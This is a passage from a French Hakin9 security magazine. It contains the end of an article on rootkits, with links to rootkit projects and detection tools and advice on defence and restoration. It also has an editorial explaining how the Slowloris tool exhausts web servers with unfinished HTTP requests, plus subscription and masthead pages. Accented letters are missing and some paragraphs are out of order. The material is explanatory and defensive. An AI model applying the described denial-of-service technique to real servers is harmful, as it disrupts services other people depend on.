Sur Internet
HackerDefender https://www.rootkit.com/project.php?id=5 Holy Fathers vault http://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf HE4Hook https://www.rootkit.com/project.php?id=6 Vanquish https://www.rootkit.com/project.php?id=9 FU rootkit http://www.rootkit.com/project.php?id=12 FUto https://www.rootkit.com/ in Peter Silbermans Vault http://www.infoworld.com/article/05/03/16/HNholyfather_1.html http://www.vigilantminds.com/files/inside_windows_rootkits.pdf http://smallftpd.sourceforge.net/ http://pykeylogger.sourceforge.net/wiki/index.php/Main_Page http://www.metasploit.com http://www.datastronghold.com/archive/t14768.html VICE https://www.rootkit.com/project.php?id=20 MS Rootkit Revealer : http ://www.microsoft.com/technet/sysinternals/Security/ RootkitRevealer.mspx F-secure Blacklight : http://www.f-secure.com/blacklight System Virginity Verifier: http://invisiblethings.org/tools.html MS Strider Ghostbuster: http://research.microsoft.com/rootkit/

l'utilisation des meilleures pratiques de l'industrie et l'administration systme. La meilleure dfense est de prvenir tout risque d'tre compromis et ainsi viter l'installation d'un rootkit. On peut facilement y arriver pour peu que l'on s'attache utiliser les bonnes techniques : patcher rgulirement les applications (mises jour), disposer d'antivirus jour, mettre en place une politique de droits et privilges, faire un audit rgulier des systmes risque.

restauration complte du systme. Il est prfrable de ne pas prendre de risque ! Il est galement important de tlcharger tous les correctifs et mises jour afin que le rootkit ne puisse nouveau s'emparer de votre systme.

Conclusion

Restauration systme

Malgr l'utilisation de ces techniques, la victime ne pourra jamais rellement savoir quelles modifications ont t effectues par le pirate. Par consquent, la MEILLEURE approche consiste effectuer un formatage bas niveau de l'ensemble du systme. Que vous dcidiez d'effectuer une rinstallation en bonne et due forme du systme d'exploitation ou d'effectuer une restauration partir d'une image de sauvegarde, assurez-vous d'effectuer ces actions, partir d'une sauvegarde ou support "sain". Si vous effectuez une restauration partielle, vous devrez dsactiver et dsinstaller le rootkit ou dmarrer partir d'une distribution sur CD puis supprimer les fichiers rootkit, cls de registre et tout autre lment nuisible. Cette tche est loin d'tre aise, rappelez-vous que le but premier d'un rootkit est de se cacher du systme. Par ailleurs, vous ne savez pas quels sont les "autres lments" qui ont t installs par l'attaquant avec le rootkit. En cas de doute, n'hsitez pas effectuer une

Les rootkits restent une menace srieuse. C'est une course sans fin entre les dveloppeurs de rootkits et les dveloppeurs de dtecteurs de rootkits. Le meilleur moyen de se prmunir de ces attaques consiste disposer de pare-feu, installer rgulirement des correctifs/mises jour, avoir un antivirus, outils anti-malware, outils de dtection de rootkits, SDI/SPI, journal des vnements et des systmes de dtection d'intrusions. Ces barrires devraient vous prmunir contre ces attaques, toutefois au cas o le pirate a russi s'infiltrer au cur de votre rseau, vous devez adopter une rponse approprie pour limiter les dgts. Dans le domaine de la scurit, le facteur humain est un aspect crucial. Apprendre lire les mmes informations que les attaquants est galement une stratgie pour se prmunir de leurs attaques. Esprons que cet article y a contribu.

A propos de l'auteur

Chris Gates est le vice-prsident des oprations de LearnSecurityOnline.com et chroniqueur pour EthicalHacker.net. Il a plus de 7 ans d'exprience dans la scurit des rseaux et des communications par satellite. Vous pouvez le contacter : chris@learnsecur ityonline.com.

BULLETIN DABONNEMENT
comment se dfendre
Merci de remplir ce bon de commande et de nous le retourner par fax : (+48) 22 244 24 59 ou par courrier : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tel. (00 33) 09.75.180.358 E-mail : abo_fr@software.com.pl
Prnom/Nom ........................................................................................ Entreprise ............................................................................................. Adresse ................................................................................................. ................................................................................................................ Code postal .......................................................................................... Ville ........................................................................................................ Tlphone ............................................................................................. Fax ......................................................................................................... Je souhaite recevoir l'abonnement partir du numro .................... ................................................................................................................ En cadeau je souhaite recevoir ....................................................... ................................................................................................................ E-mail (indispensable pour envoyer la facture) ................................ ................................................................................................................

PRIX DABONNEMENT HAKIN9 COMMENT SE DFENDRE : 35


Je rgle par : Carte bancaire n CB

code CVC/CVV
expire le _______________ date et signature obligatoires

Abonnez-vous et recevez un cadeau !

type de carte (MasterCard/Visa/Diners Club/Polcard/ICB)

Virement bancaire :
Nom banque : Socit Gnrale Chasse/Rhne banque guichet numro de compte cl Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP

DITORIAL

Retour sur Slowloris


Robert Hansen, connu sous le pseudonyme "RSnake" et pour son annuaire de XSS en tout genre [1], a dvoil un outil nomm "Slowloris" [2] permettant de raliser des dnis de service (DoS) orients sur les serveurs Web.

et outil n'est pas un n-ime outil de DoS au niveau rseau se contentant de saturer la table de connexions, mais un outil permettant de raliser un dni de service au niveau applicatif (HTTP en l'occurence) aprs l'tablissement complet de la connexion TCP. L'astuce de l'attaque est de ne jamais terminer une requte HTTP pour consommer le plus longtemps possible une ressource ct serveur. L'ide consiste envoyer une requte HTTP GET ou POST puis intervale de temps rgulier un en-tte quelconque sans terminer la requte (pas de double retour chariot). Les serveurs Web utilisant un mcanisme de processus ddi (thread) pour traiter chaque requte vont alors consommer une ressource tant que la connexion sera active : c'est dire tant que la requte ne sera pas termine ou n'aura pas atteint un temps limite fix ct serveur. En renvoyant priodiquement des en-ttes avant ce temps limite, il est possible de bloquer perptuellement la ressource. Un dni de service est alors possible quand le nombre de processus maximum fix par le serveur est atteint. Le dni de service ralis concerne uniquement le service HTTP impact et pas les ventuels services annexes hbergs sur la machine attaque (SMTP, POP/IMAP, etc.) contrairement au DoS purement rseau.
80 HAKIN9 5/2009

Son exploitation ne ncessite pas de bande passante importante : il est donc possible partir d'une simple connexion ADSL de saturer un serveur Web hberg dans un environnement professionnel. Certains mcanismes d'quilibrage de charge permettent de bloquer l'attaque si ils sont capable d'analyser le flux applicatif et d'attendre la fin de la requte avant de la transfrer au serveur Web [4] mais ce n'est pas le cas de tous... A noter que les clients lgitimes ayant des connexions tablies avec le serveur Web attaqu ne seront pas impacts par l'attaque tant qu'un processus leur sera ddi et qu'il n'aura pas t "rcupr" par Slowloris. Le serveur Web Apache, qui reste de loin le plus rpandu, est vulnrable

cette attaque cause de son modle de gestion des connexions par thread. Certaines implmentations, comme IIS, ne sont en revanche pas impactes. Cette attaque n'a rien de rvolutionnaire, elle implmente simplement astucieusement des concepts permettant de repousser le dlai d'attente maximum afin de mobiliser les ressources du serveur Web attaqu. La correction de cette vulnrabilit va ncessiter une refonte de la manire de traiter les connexions sur les produits impacts en incorporant par exemple un module externe l'image d'Apache [5] [6]. Guillaume Lehembre

propos de l'auteur

Guillaume Lehembre est un consultant scurit franais travaillant pour le cabinet HSC (Herv Schauer Consultants - http://www.hsc.fr) depuis 2004. Il a travaill sur diffrents audits, tudes et tests d'intrusion et s'intresse de prs des sujets comme la scurit des rseaux sans fils et la voix sur IP. Il a ralis des interventions publiques sur ces sujets et a publi plusieurs articles, dont un article dans le numro 14 de Hakin9 intitul "Scurit Wi-Fi WEP, WPA et WPA2". Il rdige un ditorial dans Hakin9 depuis Janvier 2007. Guillaume peut tre contact l'adresse suivante : Guillaume.Lehembre@hsc.fr

Sur Internet
[1] http://ha.ckers.org/xss.html [2] http://ha.ckers.org/slowloris/ [3] http://httpd.apache.org/docs/2.2/fr/mod/event.html [4] http://www.cupfighter.net/index.php/2009/06/slowloris-css/ [5] http://httpd.apache.org/docs/trunk/misc/security_tips.html#dos [6] http://httpd.apache.org/docs/trunk/mod/event.html

EN NOVEMBRE
Dans le prochain numro
DOSSIER
E-business Les mthodes proposes par les affaires lectroniques permettent aux entreprises de mettre en ouvre leurs processus plus efficacement et avec plus de souplesse tant en interne quavec les entits extrieures. Ces mthodes permettent de travailler plus troitement avec les fournisseurs et partenaires, dans le but de satisfaire au mieux les besoins et les attentes des clients. En pratique, lutilisation du commerce lectronique conduit de nouvelles sources de revenu, lamlioration des relations avec les clients et partenaires, et une meilleure efficacit par lemploi des systemes de gestion des connaissances. Les affaires lectroniqes peuvent se dployer travers le rseau Internet public, des rseaux internes (Intranet) ou externes (Extranet) privs et scuriss, ou plus gnralement tout moyen de communication lectronique.

Toute l'actualit du prochain numro sur le site www.hakin9.org/fr.

TECHNIQUE
Cette fois-ci nous vous prsenterons un article Slitaz 2.0 par Julien Smyczynski.

SUR LE CD
Comme toujours dans chaque numro nouv vous proposons hakin9.live avec la distributions BackTrack 3. Applications commerciales en versions compltes et des programmes en exclusivit, pour la scurit, la protection et la stabilit de votre systme. Des tutoriels vido pratiques afin de mieux comprendre les mthodes offensives. Vous souhaitez collaborer a la rdaction des articles? N`hsitez pas nous contacter! FR@HAKIN9.ORG Ce numro sera disponible en novembre. La rdaction se rserve le droit de modifier le contenu de la revue.

FEUILLETON
Un regard prcis et pertinent sur la scurit informatique.

EN BREF
L`actualit du monde de la scurit informatique et des systmes d`information. Les nouvelles failles, les intrusions web et les nouvelles applications.

PRATIQUE
Cette rubrique vous permettra de connatre une mthode dattaque et dappliquer les moyens de dfense mettre en place.

DATA RECOVERY
Dans cette rubrique vous allez suivre les risques lis aux donnes, de la cl USB au serveur, les risques de pertes, mais aussi de vol de donnes, les moyens de protectios lis ces priphriques.

Le bimestriel hakin9 est publi par Software Press Sp. z o. o. SK Prsident de Software Press Sp. z o. o. SK: Pawel Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Jakub Borowski jakubborowski@hakin9.org Fabrication: Andrzej Kuca andrzej.kuca@software.com.pl DTP : Marcin Zikowski Graphics & Design Studio http://www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : publicite@software.com.pl Abonnement : software@emdnl.nl Diffusion : Ilona Lepieszka Ilona.lepieszka@software.com.pl Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP

Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits rservs Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : fr@hakin9.org Prparation du CD : Rafal Kwany Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org

Abonnement (France mtropolitaine, DOM/TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !

82

HAKIN9 5/2008

La rdaction se rserve le droit de modifier le contenu de la revue

REKLAMA iTrust str. 83

S-ar putea să vă placă și